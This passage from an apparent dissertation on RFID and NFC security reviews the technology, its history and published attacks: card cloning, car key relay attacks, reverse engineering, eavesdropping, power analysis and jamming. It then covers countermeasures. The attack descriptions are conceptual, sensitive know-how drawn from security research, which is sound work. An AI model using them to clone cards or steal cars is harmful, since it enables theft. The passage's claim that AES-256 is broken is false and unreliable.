specifically, RFID coils are embedded into various forms of media, typically cards or tags, which
carry a unique identification number. This is then associated with a person that holds one
of such media, which in turn is programmed to allow authenticated and traceable access to a
specific room or area. This is a very cost-effective way of providing additional security and
allowing for authenticated access.
2.2.2 NFC
The term NFC stands for Near-Field-Communication, and it is a part of the RFID spectrum
that has risen in popularity in the recent years. The exact frequency of NFC is 13.56MHz and
it falls under High Frequency RFID.
In the majority of cases, NFC is more complex than typical Low Frequency RFID. This is because
the Media and the Reader, under a set of communication protocols, engage in sophisticated pro-
cedures. This was done to overcome the simplicity of Low Frequency RFID implementations, and
has thus allowed for technologically advanced processes such as detailed employee monitoring,
product monitoring and status through a production line and even wildlife animal monitoring.
This is also the technology found in contactless payment solutions, embedded in credit cards,
and now even in mobile phones. This specific use of NFC can also be referred to as NFC/CTLS.
The technology has also been recently used for file-transferring between Android Devices, but
due to the rise of more popular methods of file transferring, it has not gained any significant
traction and has begun to not be implemented in newer phones.
The most common NFC media is made by NXP and Mifare, under the ISO 14443 A/B standard.
Specifically the Mifare Classic 1K, is the most popular and widely used card or tag under NFC.
It is also the most vulnerable having many documented attacks that can successfully duplicate
data from such cards. As a response, new standards have been developed, such as the Mifare
DESFire EV1 media that allows for inherent 3DES encryption.
27
2.2.3 How LF Systems work
As mentioned above, Low Frequency RFID operates between 30KHz and 300KHz. Within this
range the most popular frequency is at 125KHz where most LF tags/cards operate. This includes
both 125KHz media popular in Europe and China, as well as the HID 125KHz standard popular
in the USA.
As explained under this brief online article (Low Frequency (LF) RFID Tags & Systems 2018),
Low Frequency media uses a technology called "inductive coupling", which is a process where
the RFID card or tag is powered by the Reader’s induced current. The passively powered RFID
media then transmit their unique data which is then read from the reader.
Low Frequency RFID systems have a usable range that is limited to a couple of centimeters,
making them ideal for use in security implementations. In addition, an advantage of Low
Frequency RFID over High Frequency, is the fact that due to the longer wavelength, they have
the ability to pass through thin metallic surfaces and remain functional in humid and wet
environments.
Overall, LF RFID has a slow read speed and a very low cost and when combined with the
properties above, results in applications such as simple access control, identifying animals, and
tracking assets.
2.2.3.1 LF Technologies & Media
Low-Frequency media is extremely limited, and can not store vast amounts of information. The
LF frequency band spans from 30KHz to 300KHz, but the most commonly used frequency is
125KHz.
The majority of LF RFID uses are limited around simple entry systems where specific cards are
hard-coded, based on their UID so that the reader allows entry only to them.
Due to their limitations, LF RFID media does not store any other information, other than the
UID and they are typically read-only. In the case where LF RFID media is write-able, it is
simply to alter the UID.
The specific cards/tags found and used under this Dissertation are:
• EM4100: 125KHz Read-Only
28
Can sometimes be Writeable
• EM4305: 125KHz Writeable
• T5577: 125KHz Writeable
• T5557: 125KHz Writeable
2.2.4 How HF Systems work
Again, as mentioned above, High Frequency RFID operates between 3MHz to 30MHz. Within
this range the most popular frequency is at 13.56MHz, which is the NFC frequency.
As explained under this brief online article (High Frequency (HF) RFID Tags & Systems 2018),
HF systems also operate with inductive coupling technology, much like LF systems. NFC media
is also passively powered through the reader and again, once that happens, the media sends out
information to the reader, with a frequency of 13.56MHz.
Unlike LF Systems, HF systems and applications are capable of anti-collision, which means that
one reader is able to read multiple unique RFID cards/tags at the same time.
Due to the higher frequency of operation, HF is operable at a larger distance than LF systems,
being able to reach operable lengths of up to 1m. This also means, however that electromagnetic
waves struggle more to pass through metallic surfaces and environments that involve water, but
there are cases that it is still possible.
Implementations of HF systems include data transfer between devices, library book tracking,
contactless payment systems and other services.
2.2.4.1 HF Technologies & Media
High-Frequency media is more capable and is able to store more information. The HF frequency
band spans from 3MHz to 30MHz, but the only frequency commonly used is 13.56MHz which
is the frequency of NFC.
NFC media is commonly used to store Staff Information, Log In Credentials, Personal Informa-
tion, Run Programs and other various forms of automation, in conjunction with the unique UID
of the card.
29
This means that it is significantly more complex to perform attacks on such media, partly due
to the fact that the extra data space also allows for inherent encryption methods.
The specific cards/tags found and used under this Dissertation are:
• Mifare Ultralight - 64 bytes of memory split over 16 sectors
• Mifare Classic 1K - 1024 bytes of memory split over 16 sectors
• Mifare Classic 4K - 4096 bytes of memory split over 40 sectors
32 Sectors same as Classic 1K and 8 sectors of quadruple size
• Mifare DesFire EV1 - Provides 3DES Encryption
2.2.5 UHF Technologies & Media
Ultra-High-Frequency spans from 300MHz to 3GHz. This section of the RFID spectrum is not
touched upon in this Dissertation.
30
Chapter 3
Literature Review
3.1 History of RFID
In spite of popular opinion, RFID technology is actually quite old, and has been in active
development for over 50 years, even if it was for other uses than the ones implemented today.
This section is influenced by the work of J. Landt, and from his research paper on the topic
(Landt 2005).
The very first basis that lead to what we now call RFID, is believed to have started all the
way back in the beginning of the 20th Century. Specifically in 1906, where the first continuous
radio wave had been generated by an Ernst F.W Alexanderson, in the first successful radio
transmission. An attempt that has led to the birth of radar and the usage of such systems
during World War II.
The 1950s were proven to be an era of great exploration in the field of RFID, following the
boom of Radar & Radio technologies. The first idea of modern RFID was born when a research
paper was published in 1948, by Harry Stockman, exploring ways of communication through
reflected power. However, as outlined under Harry Stockman’s research, much work was still
needed before such ideas were able to be realised.
The 1960s followed with much more work and research being done in the field. This extended
research and progress in technology has lead to the first commercial implementation of RFID
technologies.
In the 1970s further work and resources had been focused on RFID, through the government,
31
companies and academic institutions, resulting in notable advances and developmental work.
Some worthy mentions of implementations include animal and livestock tracking, along with
factory automation solutions.
The 1980s brought even more implementation into fruition, as the technology had risen in
popularity and gained much more attention from developers. The most attention was given by
the United States, while similar technologies begun to be implemented in Europe.
The 1990s brought wide-scale implementation of RFID technologies, especially within the USA,
as the electronic toll collection solution had been implemented, utilising RFID technology.
Specifically, over 3 million RFID tags had been installed on rails cars.
The 2000s marked the explosion of RFID technologies, as all these developments had ultimately
led to more affordable technologies and made it much more accessible for companies and indi-
viduals to experiment with and implement RFID technologies. This boom in popularity had
resulted in even more research and development focused around RFID, which has resulted in
the modern, mainstream use of RFID in many aspects of our daily lives, that has translated and
kept expanding into the 2010s and now, 2020.
3.2 Technical Overview of RFID
This section is influenced by the work of R. Weinstein (Weinstein 2005) and R. Want (Want 2006)
and from their research papers on the topic.
3.2.1 How RFID Works
RFID, overall is a technology that works over the transmission and reading of electromagnetic
signals. In RFID media, often referred to as tags or cards, signal generation is done by built in
transponders. These transponders emit a signal that corresponds to the information stored on
these tags.
As outlined by the work of Weinstein (Weinstein 2005), as a tag approaches the reader’s range,
an electromagnetic signal is generated from the reader and is detected by the tag’s antenna. This
electromagnetic energy is then stored temporarily on the tag, using a capacitor, in a process
known as Inductive Coupling. Once the capacitor builds up the required charge, it is able to
32
power the transponder and transmit the necessary modulated signal.
Again, as explained byWeinsten (Weinstein 2005), in LF systems, tags transmit data by releasing
their stored energy straight from the on-board capacitor to the tag coil, varying the strength
over time, modulating the output frequency.
In HF systems, transmission is a bit more complex, and is done through a process known as
backscatter. This means that the output signal is modulated by changing the tag antenna
resistance. This resistance modulation results in the desired RF Wave generation, which can be
picked up by the reader.
3.2.2 Active & Passive Technologies
As outlined by the work of Weinstein (Weinstein 2005), Active RFID technologies have their
own power source and are not depended on the Reader to provide power. The work of Want
(Want 2006), also explains that the power source can be as simple as an on-board battery,
or as complex as direct integration with a powered infrastructure. Due to this fact, they are
able to transmit more powerful signals over a larger distance than the more typical Passive
technologies. Active tags however are larger in size and often cost more than their passive
counterparts, mainly due to the fact that a constant power source must be embedded into their
enclosures. Their usability is also limited by the life of the battery or the reliability of the
power source. An example use for Active tags, outlined by Want (Want 2006), is the use of a
transponder embedded in air-craft to identify them. Inherently, Active tags operate at larger
frequencies, typically at 455MHz, 2.45GHz or 5.8GHz.
On the contrary, Passive RFID technologies depend on the reader for their source of power. This
makes them much smaller in size than active tags and significantly less expensive, with a typical
LF passive tag costing around $0.20, in 2005, and reaching prices as low as $0.10 today (RFID
FAQs - Barcoding Inc. n.d.). They are also able to operate indefinitely, as long as they are close
to a compatible reader, as explained by Want (Want 2006). This makes passive technologies
much more attractive, also due to their inherent increased security, (since they need to be close
to the reader to transmit) and thus has made passive RFID much more main-stream. Typical
operating frequencies for Passive RFID include 125KHz, 13.65MHz, 915MHz and 2.45GHz.
33
3.2.3 Near & Far Field RFID
As explained by Want (Want 2006), Near-Field RFID or inductive coupling, is the most basic
way of implementing passive RFID. It is based off of Faraday’s Principle of magnetic induction,
and is the basis of inductive coupling. This is commonly used in LF RFID where the reader
generates an alternating current that charges the tag capacitor through an alternative voltage,
generated when picked up by the tag coil. This voltage then powers the transponder, which
transmits the signal using load modulation.
The usable range D of magnetic induction is resolved to:
D =c
2πf
Where c denotes the constant speed of light and f denotes the operation frequency. Subsequently,
it is evident that as the operational frequency increases, the operational distance where induction
coupling is able to be performed is decreased.
Far-Field RFID, or backscatter, operates by capturing electromagnetic waves, generated by a
special dipole antenna on the Reader. The tag, which is equipped with a similar dipole antenna
is able to pick up this energy in the form of an alternating potential difference, which with the
help of a diode, translates to voltage, able to charge the on-board capacitor. As a result, once
the capacitor is sufficiently charged, the tag is able to emit the necessary info in the required
frequency by modulating the resistance of the output antenna.
3.2.4 RFID Standards
As outlined by Weinstein (Weinstein 2005), the typical standards come from the International
Standards Organisation. ISO has three popular RFID standards:
• ISO 14443
The typical standard for HF RFID (NFC). Used for contactless systems and is the most
common RFID standard.
• ISO 15693
Typically reserved for access control implementations. Used for vicinity systems and is
mostly used for ID Badges.
34
• ISO 18000
Typically reserved for item management. Used for specifying the air interface for various
implementations.
Additionally, and RFID standard is offered by non-profit organisation, EPCglobal. The Elec-
tronic Product Code standard, specifies characteristics for air interfaces, middleware and corre-
sponding databases and the format of identifying products.
3.3 RFID Limitations
This section is influenced by the work of R. Weinstein (Weinstein 2005), R. Want (Want
2006),cP.V Nikitin & K.V.S Rao (Nikitin & Rao 2006) and F. Garcia (Garcia, de Koning Gans
& Verdult 2014) and from their corresponding research papers.
3.3.1 RFID Concerns & Vulnerabilities
Firstly, as expressed by Weinstein (Weinstein 2005), RFID raises a plethora of concerns. These
include, but are not limited to, privacy concerns, security concerns and legacy system integration
concerns.
With regards to privacy, people are often concerned with the way their data is handled. Indi-
viduals are often displeased when their movements or buying habits are automatically tracked,
for example, even if no personal information is explicitly used. There is also a big concern when
RFID media is able to directly identify people or their personal property, such as phones or cars.
In the event that an RFID ID badge is lost for example, it is possible for a malicious third-party
to extract personal information from that.
Additional privacy concerns are also expressed by Want (Want 2006). In this case, a privacy
concern rises where RFID communication is done through invisible channels. This results in a
situation where the user is unaware of the frequency or time of communication.
Proposals have been made to create inherent disabling kill-switches within RFID media so that
they are rendered useless when they reach the end of their intended use. Some concerns, however,
are addressed due to the very nature of passive RFID, where the operable range is very small
for a reader to read information from a distance greater than a few centimeters.
35
With regards to security, people and companies are concerned when regarding the possibility
that an external individual might be able to read their RFID data and act maliciously. People
carrying RFID enabled Credit Cards, or Personal ID Badges, for example, do not want this data
to be accessible or to be leaked.
Researchers have proposed solutions that involve allowing the RFID media to transmit only to
authorised readers, but that would need additional technology to be implemented in readers,
and more memory in media to store the trusted reader IDs. Newer NFC technologies provide
encryption to remedy this concern. For example the latest Mifare DESfire EV1 cards offer 3DES
encryption on their media.
With regards to legacy system integration, companies are concerned whether the integration
of an RFID system would cause a costly challenge when trying to be integrated with current
infrastructure and technologies.
Fortunately, the technology has been very widely adopted that most technologies allow for RFID
integration with minimal disruption. Additionally, a huge variety of middle-ware exists that is
able to link RFID systems into almost any existing technologies.
As an example of the concerns and limitations that exist in RFID technologies, Garcia (Garcia
et al. 2014) documents the process and possibility of cars being maliciously unlocked, and event
started, through third-parties covertly copying and duplicating or relaying the RFID output
signal of the car keys Transponder Chip. These concerns are very real and possible due to the
fact that these keys are often active RFID solutions, thus the key doesn’t need to be that close
to the car to transmit the RFID signal, allowing an attacker to potentially sniff the signal during
use, or even, in some cases, just while the key is in your pocket.
3.3.2 RFID Media & Reader Limitations
As outlined by P.V Nikitin & K.V.S Rao (Nikitin & Rao 2006), there are a number of limitations
that exist both in RFID media such as cards and tags, as well as in RFID Readers.
The most significant RFID media limitation is the Chip Sensitivity threshold. This is minimum
RF power that the tag needs to receive for the transponder chip to work. The lower this threshold
is, the longer the distance of operation.
The next limitation outlined is Antenna Gain. The operable range is at its highest when the
36
tag is in the direction of maximum gain. The range of the tag is limited by its size and the
operation frequency.
An additional limitation is Antenna Polarisation. The polarisation of the antenna in the tag
must be identical to the one in the reader. When this is not the case, dramatic range losses and
signal noise is observed.
Impedance Match is also a limitation. The range of the tag is affected by the impedance match
of the tag antenna and the transponder chip. This impedance is directly influenced by the
frequency and power absorbed.
Path Loss can also occur, in the event that there is no direct line of sight between the tag and
the reader, or in an environment where the reader is covered by other materials. This might
result in poor communication or complete inability to communicate.
Tag Detuning is also a possibility that can occur in the event that the tag antenna is influenced
and altered when placed on varying materials, especially if they are magnetic. If the antenna
becomes detuned, it directly affects antenna gain, range and impedance match.
On the Reader side of things, the most significant Reader limitation is the EIRP - Equivalent
Isotropic Radiated Power. This is the power of the reader transmitted signal. Modulation of
EIRP affects the operable range where the tag transponder chip is turned on. EIRP is nationally
regulated and is not allowed to exceed 4W, in the United States.
An additional Reader limitation is the Reader Sensitivity. This is the minimum power of signal
received by the tag, needed by the reader, for the information to be detected and processed.
3.4 Documented Attacks & Vulnerabilities
The following section aims to provide the most common types of attacks that have been doc-
umented and provide concrete examples of successful attacks. It is based on the works of A.
Francillon, B. Danev & S. Capkun (Francillon, Danev & Capkun 2010), F. Garcia, P. Pavlides
& D. Oswald (Garcia, Oswald, Kasper & Pavlidès 2016), F. Garcia, G.K Gans & R. Verdult
(Garcia et al. 2014), F. Garcia, G.K Gans, R. Muijrers, P. van Rossum, R. Verdult, R.W Schreur
& B. Jacobs (Garcia, Gans, Muijrers, van Rossum, Verdult, Schreur & Jacobs 2008), M. Hutter,
J.M Schmidt & T. Plos (Hutter, Schmidt & Plos 2009), Y. Fu, C. Zhang & J. Wang (Fu, Zhang
37
& Wang 2010) and from their corresponding research papers.
3.4.1 Copying and Spoofing
This is the most popular attack method when considering the topic of RFID Vulnerabilities and
Attacks. In the majority of cases, this kind of attack is possible due to the actual way the tags
works and due to a lack of further encryption.
When considering LF RFID Systems, it is evident that the data emitted by the tag, is a simple
encoded signal sent over a 125KHz (or other LF) RF wave. This encoded signal is simply a
representation of the unique tag identifier.
This unique signal could easily be Copied, when the tag is read from a malicious or third-party
reader and then duplicated to another card or tag. Simple Hardware tools, such as the 125KHz
copier, or the 10-Band RFID Duplicator, would then be able to copy this UID to a writeable
tag. These tools will be explained further, under the Existing Solutions Section. Additionally,
the same could be achieved through computer Software and through a connected RFID writer.
Transmitting an unfiltered, unaltered signal is just very simple to be read and duplicated on an
identical RFID tag.
It is also possible for the UID Signal to be Spoofed. This is done, again, firstly by reading the
emitted signal of the LF media. With appropriate hardware, such as a 125KHz antenna and a
microcontroller, the same exact RF Signal can be generated from the malicious antenna. To a
reader, there would be exactly no difference between the two items, as the same RF Signal is
picked up.
These types of attacks are also possible on HF RFID systems. In this case, the signal transmitted
is not as simple as LF, where only the UID is transmitted, but again, due to the lack of security,
Copying is possible. As an example, Mifare Classic 1K cards have been notorious for their
effortless copying. The contents of the card and each individual block can be read, using a
simple 13.56MHz RFID Reader/Writer and simple computer Software, or even some dedicated
Hardware tools, such as the 10-band RFID Duplicator or the ProxMark 3 RDV4. When all
blocks of an NFC card are able to be read and copied, it is as simple as duplicating them on a
writeable blank NFC card/tag.
38
3.4.2 Relay Attacks
This section is concerned with the next most popular RFID attack, Relay Attacks. This method
of replicating RFID Signals is mostly used by car thieves when trying to defeat car locking
systems.
As explained by Francillon (Francillon et al. 2010) and Garcia (Garcia et al. 2016), a Relay
Attack is an attack where the attacker is able to pick up the emitted signal of a tag/card or
other media that is outside the reach of the RFID reader and relay that signal to an other
device that is within the reader’s range, so that this relayed signal is picked up by the reader
which assumes that the legitimate tag has been presented. This results in a situation where
the legitimate owner of the RFID media might not be aware that their tag or card has been
compromised, as they are far away from the reader.
This attack requires that two devices are linked together to relay the message between the tag
and the reader, and that these two devices are within their relay distance limit. Therefore it
would not be possible to realistically relay signals over very large distances.
The majority of RFID relay attacks, as described by Garcia (Garcia et al. 2016) are performed
on cars and their locking systems. On the majority of recent vehicles, and a number of older
ones, it is possible for the car to be unlocked and even started without pressing any button on
the key fob. Once the owner is within a close proximity of the car, the doors unlock and the
car is able to be started using a push start button. This type of locking system is called Passive
Keyless Entry and Start (PKES). This is the first type of RFID locking system to be successfully
exploited under Garcia’s paper (Garcia et al. 2016).
PKES systems use a bi-directional challenge-response scheme, which means that the car is
sending out a signal, which is then picked up by the key fob, and a replying signal is sent by the
key fob and is picked up by the car. If both of these transactions are valid, the car is able to
be unlocked and started. People can think of this signal transaction as a conversation between
the car and the key fob, where both parties must send out questions and receive a valid answer.
This communication is done within about a one meter radius of the car, to provide security.
This nature of communication makes it essential for a key fob to have an active RFID solution,
which also makes it susceptible to Relay Attacks. This is due to the fact that both the car and
the key are constantly emitting RFID signals.
39
The attack performed is as simple as setting up one end of the relay system within reading
proximity of the key fob and pointing the other relay device within one meter of the car. The
authentication bi-directional challenge-response scheme is performed successfully and thus the
car is able to be unlocked and started.
As stated, these relay devices are often sold on the black market and are commonly used to steal
the contents of a car, or the car itself.
A successful PKES attack has also been documented by Francillon (Francillon et al. 2010) where
a very similar scenario is described. The LF RFID signal of a car fob is able to be picked up
by a relay system and the victim car is able to be unlocked and started from distances between
10m-100m. It must be noted that more details are given about the relay device under this paper,
where it is evident that while the car and key fob operate on the LF spectrum, the relay devices
themselves operate on a UHF spectrum and the information can be relayed both by a Relay
Over-Cable attack, as well as a Relay Over-The-Air Attack.
Both of these types of attacks have their strengths and weaknesses. A Relay Over-Cable attack,
consists of two end nodes, and a signal amplifier. These two nodes are connected with a cable,
which provides significantly more signal stability, but is limited when the usable distance is
concerned. In addition, the longer the cable required, the more cost is associated with it, not
only purely towards the length of the cable, but also due to signal loss, a thicker cable must be
used for longer distances, along with additional signal amplifiers. Overall though, it is a much
simpler configuration over Relay Over-The-Air attacks.
In the case of Relay Over-The-Air the configuration is much more complex. The example that
Francillon (Francillon et al. 2010) gives, is of a 130KHz LF RFID car locking system. Two end
nodes of a relay over-the-air configuration are placed within proximity of both the car and key,
which are a 100m away from each other. The end node that is associated with the key can be
up to 8m away from the key fob, while the node that is associated with the car must be around
30cm to the car. Now, following the signal coming from the car and going towards the key, for
the initial question in their communication, the signal is firstly, amplified and filtered. It is then
passed through a 2.5GHz Signal Generator and is up-mixed to a UHF signal. This is amplified
and filtered again and passed to a 2.5GHz antenna that relays the signal to receiving antenna up
to 100m away. The signal is once again amplified and filtered and is passed to another 2.5GHz
Signal Generator that down-mixes the signal back to 130KHz. This signal is finally emitted
40
towards the key. The same process is reversed for the key fob signal to reach the car. As shown,
the process is much more involved, but due to the nature of it being over-the-air, once set-up
correctly it can be implemented quickly and provide an easier solution for longer distances.
Both of the above methods have introduced signal delays. As outlined by Francillon (Francillon
et al. 2010), on a Relay-Over-Cable attack of up to 601, the delay was 350ns (±20). Whereas
for a Relay-Over-The-Air attack of up to 302m the delay was 120ns (±20).
3.4.3 Reverse Engineering
Reverse Engineering is another popular method of exploiting RFID. It is not as straight forward
as other approaches, as it means that the core technology behind the RFID implementation
must be understood and holes with its inherent security must be found and exploited.
A short example that explains the process of Reverse Engineering, is given by Garcia (Garcia
et al. 2016). Similar to his PKES system exploitation, this again involves car security systems.
This time, the area of concern revolves around slightly older technologies, specifically the simple
point-and-click type of car keys.
Car keys, on the majority of cases, are equipped with an immobilizer transponder. Garcia
(Garcia et al. 2016) has exploited these types of keys successfully through Reverse Engineering.
In essence, a transponder is a passive LF RFID chip that transmits a unique identifier when
inserted in the ignition of a car. If this unique identifier is not the one that the car is expecting,
the car will not start up, even if the key is the correct one. The first transponder chip to be
exploited under this paper (Garcia et al. 2016) is the DST40 cipher, which was widely used and
issued by Texas Instruments, and was reverse engineered successfully in 2005.
By reverse engineering it, the 40-bit private key that is associated with the cipher is able to be
found quickly just by brute forcing the algorithm that produces it.
Similarly, NXP Hitag2 transponders, the most widely used automotive key transponders, were
also broken by reverse engineering in 2012, where the attackers were able to show a possibility
of the 48-bit private key being extracted in under 6 minutes.
This results in an environment where the attacker is able to produce malicious transponders that
have the same private key as the original transponder. By placing this near the ignition switch,
the car unlocks the ability for the car to be started, which can then be done by various ways
41
that might not even involve having access or knowledge of the key grooves/notches themselves.
Reverse Engineering is also demonstrated in much more detail by Garcia (Garcia et al. 2008),
as he details the process and findings of reverse engineering a HF RFID 13.56MHz RFID card,
specifically the Mifare Classic. In this case, Garcia dismantles the Mifare Classic card, one of
the most popular and widely used NFC media, in an attempt to reverse engineer it and break
its security.
This was done by recording and monitoring the communication between the NFC media and
the reader. The encryption algorithm and authentication protocol were able to be recovered by
reverse engineering. These findings have allowed Garcia to then create two attacks to the RFID
reader that unveil the Mifare Classic tag private key.
As an example of an attack performed, from the reverse engineering findings, an attacker can
generate a table of tuples, using the reverse engineered encryption algorithm and authentication
protocol. The resulting, 1TB table is able to be computed in a few hours and without the use of
specialised hardware. It would then be possible for the attacker to initiate 4096 authentication
sessions with the reader, without needed access to the NFC tag. Through the documented
process, the attacker is able to gather 5 - 35 partial authentications per second and is able to
complete all 4096 sessions between 2 - 14 minutes.
3.4.4 Eavesdropping
Eavesdropping in RFID, is the act of monitoring and recording the interaction between a tag
and a reader, either by introducing an external malicious reader, or by compromising the original
reader to extract information. This data is then used to understand the underlying communi-
cation and expose ways of exploitation.
An eavesdropping attack has been recorded by Garcia (Garcia et al. 2008), where in addition
to reverse engineering a Mifare Classic tag, he also monitored the communication that occurred
between the same card and a reader using an external device, called Ghost, to send malicious
commands to the HF Reader, while also using a ProxMark 3 to read and write data on the HF
tags.
Through monitoring the communication that occurs between the tag and reader, Garcia was
able to extract the entire authentication protocol and communication stack. This information,
42
along with what was recovered through reverse engineering has made it possible to exploit the
Mifare Classic technology and extract the private key of the cards, with two distinct attacks,
one of which does not require the physical tag to be present.
The eavesdropping attack has unveiled that when the appropriate card enters into the readers
magnetic induction field, an anti-collision protocol is initiated by the card emitting its UID.
The reader is then able to identify that the card presented is of the correct frequency and ISO
standard and proceeds to request authentication from the card, looking for a specific block.
The card then sends it’s unique challenge request, in plain-text, to which the reader responds
with it’s own authentication challenge along with the answer to the card’s challenge. The card
finalises authentication by emitting the final authentication answer. Some of these signals are
in plain-text, but some other are encrypted. To decrypt these, Garcia XOR-ed them with the
keystream, which was exposed by reverse engineering.
Overall, eavesdropping seems to be a gateway to other attacks, rather than a complete attack
within itself. The information that is exposed when performing an eavesdropping attack, is the
used in conjunction with information taken from other attacks to exploit the overall system.
3.4.5 Power Analysis
Power Analysis attacks, much like eavesdropping, concerns attacks that require monitoring of
the reader and media. In this case, only the power output of the reader or tag is monitored to
gain data on the communication that occurs between the media and the reader. It is much easier
to execute, as it does not need specialised hardware and software to interpret communication,
like eavesdropping, but it is much more difficult to extract information, as the power level
fluctuations monitored do not always translate to card-reader communication signals.
As described under this paper published by Hutter, Schmidt and Plos (Hutter et al. 2009), a
successful RFID attack was able to be performed using Power Analysis. In this case, a modified
MatLab script is used to send commands to the reader, along with a microcontroller that send
voltage spikes to RFID HF and UHF Media. For 80ns, the attacker sends an over-voltage
spike into the tag antennas, using a DC supply of 4V. The tag is then immediately allowed to
communicate with the reader and this interaction is monitored.
A set of power traces were then measured, both for the UHF and HF media, to establish a
baseline. Several post-processing techniques were then performed, such as filtering, so that the
43
carrier of the reader signal was removed. The envelope signal value was then calculated by using
the absolute values of the traces in conjunction with a 2MHz low-pass filter. This eliminates
the reader-signal part of power measurements that was interfering with measuring of the weak
side-channel signals emitted from the tags.
The overall aim of power analysis, in this case, was to deduce the 8-bit value written in the
internal memory of the tags. A total of 1000 power traces were recorded, using an oscilloscope.
The power analysis attack was performed by firstly measuring the power consumed when the
tag was processing the input value. After receiving the power trace measurements, a model was
constructed that logs the input values as they are received by the tag memory. Then, for any
possible 8-bit value (256 possibilities) the appropriate tag power consumption was estimated.
The final model was then used to correlate the physical power trace measurements. All correct
hypotheses reveal a peak in time as the received input is processed by the RFID media. All the
correct hypotheses were then compiled to construct the complete 8-bit value.
As documented under the study, all attempted attacks were successful at recovering the 8-bit
value in the tag memory.
Again, Power Analysis seems to act as an intermediary attack that extracts useful information
about the underlying technology that is then used to break encryption or perform other attacks.
3.4.6 Denial Of Service
A Denial of Service attack, creates a situation where the user is not able to use a service or
procedure. In the case of RFID a DOS attack creates an environment of system failure. These
attacks are typically performed on the reader part of RFID systems and are not associated with
the cards/tags themselves.
The majority of DOS attacks in RFID systems, involve Signal Jamming. This DOS technique
uses specific hardware that emits signals tuned close to the frequency read by the reader. These
malicious signals, usually random in nature, introduce signal noise when a legitimate card is
within proximity of the reader. The background, malicious signal is so powerful that it can
overpower the legitimate media, or introduce such a vast amount of random noise that the
reader is unable to distinguish between noise expected signals.
As described by Fu, Zhang, and Wang (Fu et al. 2010), Active Jamming was successfully per-
44
formed on the ISO 18000-6C protocol, but in theory it should be possible for jamming signals
throughout the entire RFID spectrum.
Initially, measurements of the reader’s read frequency were taken and revealed that it operates
at a read frequency of 915MHz when communicating with the RFID media. A jamming device
was then constructed using a Signal Generator, an external amplifier and a matching antenna
that could generate and emit signals of 915MHz frequency. The attackers would then modulate
signal amplitude, position and data modulation and record DOS results so as to achieve complete
system failure.
From the readings it was deduced that the greatest factor in performing complete DOS was data
flow modulation. The more modulation in the carrier signal, combined with the jammer being
in close proximity to the reader provided the least number of successful legitimate tag reads. It
would be the best practise to keep the jamming device as close as possible to the reader, as the
jamming performance was shown to be greatly reduced when the distance between jammer and
reader exceeded 120cm.
As deduced from the research, RFID systems are very susceptible to jamming attacks, as even
a slight signal disturbance emitted at the right time can result in a complete failure of normal
operation and communication. The researchers’ comments were that blocking RFID communi-
cation was found to be surprisingly easy and communication could be blocked to a degree even
from a large distance away, with a random digital flow modulated, and with very little jamming
power required.
Overall, this simple attack is extremely powerful and successful in performing complete Denial
Of Service. The simplicity of implementation make it a huge threat, as it would be an attractive
solution to attackers. At the same time, there are inherent limitation with the method execution,
such as the fact that the jamming device must be concealed and fixed at a close proximity to
the reader and would only run for the duration that the enclosed battery allows, or would
alternatively need a constant supply power, either externally or by connecting to the reader
power supply.
45
3.5 Vulnerability Countermeasures
This section is influenced by the work of G.P Hancke & M.G Kuhn (Hancke & Kuhn 2005), A.
Francillon, B. Danev, S. Capkun (Francillon et al. 2010), F.D Garcia (Garcia et al. 2016) and M.
Singh, P. Leu, & S. Capkun (Singh, Leu & Capkun 2019) and from their corresponding research
papers.
3.5.1 Distance Bounding
Distance Bounding is a developing countermeasure to Relay Attacks. It aims to involve the
location of the tag in the authentication process so that authentication is successful only to
RFID media that is close to the Reader, upper bound by a pre-set distance.
As described by Hancke & Kuhn (Hancke & Kuhn 2005), their proposed Distance-Bounding
solution was to introduce a setting of the maximum distance between the reader and the RFID
media, on which authentication is accepted.
This eliminates Relay Attacks, as the distance sent out by the tag is not within the upper bound
of the allowed distance, therefore authentication fails.
Even Francillon (Francillon et al. 2010) suggests Distance Bounding as a counter measure to
his relay attacks on car security Systems. In this case, he suggests that only ultrasonic and
RF communications are considered, as ultrasonic distance bounding is still susceptible to relay
attacks.
As Francillon explains, distance bounding works by rapidly exchanging messages between the
reader and the tag. The Reader sends a challenge to the tag. The tag then replies as soon as
possible and the time between sending the challenge and receiving a response is measured by the
reader. After subtracting the pre-set processing time of the tag, and based on the remaining time,
the reader is able to compute the distance between the two devices, using the basic equation:
d = c · t
Where c denotes the constant speed of light d denotes the distance between reader and tag and
t denotes the remaining time in ns.
It is also a common practise for challenges to be based on a pseudo-random function that is
46
hidden behind other layers of security, such as further encryption, so that an attacker is not able
to generate the expected signals through reverse engineering or eavesdropping attacks.
3.5.2 Rolling Codes
A very successful way to countermeasure against primitive Spoofing and Cloning attacks is the
technique of Rolling Codes. This technique introduces a pseudo-random function that generates
a new UID every time the card/tag is used. The Reader is also equipped with the same pseudo-
random function, and given the corresponding seed, or stream of seeds to re-create the expected
UID.
This countermeasure is most commonly used in Contactless Credit Card solutions, as it provides
a very secure environment, where if an attacker was able to copy the card, it would only be able
to be used once for the maximum allowed contactless payment of 30 GBP in the UK, and it
would then be rendered useless. Alternatively, if the legitimate owner were to use the card for
any transaction before the attacker has a chance to try and extract money, a new code would be
created and the one copied by the attacker would be rendered useless. Of course credit cards do
not rely solely on this countermeasure and are constantly trying to improve the overall security,
by introducing additional inherent measures, such as encryption, or by introducing legislation,
such as the maximum spending limit.
As explained by Garcia (Garcia et al. 2016), this was assumed to be the ideal countermeasure
introduced in car security systems. Rolling codes are often used in the less modern transponder
chip technologies, where the unique identifier of the key is recalculated each time it is used. Gar-
cia was able to deduce the pseudo-random function used in car remotes using the PCF7946/7947
key by eavesdropping the communication between the key and the reader. He was then able to
defeat this countermeasure by deducing the stream of codes to be generated next.
It is therefore, not sufficient to simply introduce any rolling code scheme based on a pseudo-
random function. The function itself must be well concealed within the card and reader memory,
under encryption, and executed in a way that makes it impossible to recreate or deduce under
eavesdropping or reverse engineering attacks. If the pseudo-random function it self were to be
exposed, the attacker would then be able to read a few successive codes, and use them to perform
a known-plaintext attack to deduce any number of upcoming codes.
If the pseudo-random function and seed is assumed to be impenetrable, then a rolling code
47
scheme is very successful at preventing attacks where the user has a chance to use the RFID
media to generate a new code before the attacker has a chance to perform any kind of attack.
3.5.3 Adequate Encryption
In this case, the term Adequate is relative. All technologies and media above were most probably
developed with the top security concerns in mind, at the era. As technology evolves, many older
encryption protocol are rendered useless. For example MD5 Hashing, or AES-256 encryption
have been completely broken in the last couple of years but they used to be very secure when
it was created. For this section, adequate simply refers to increase the encryption security to
today’s standards or avoid using RFID technologies that implement older, broken encryption
schemes.
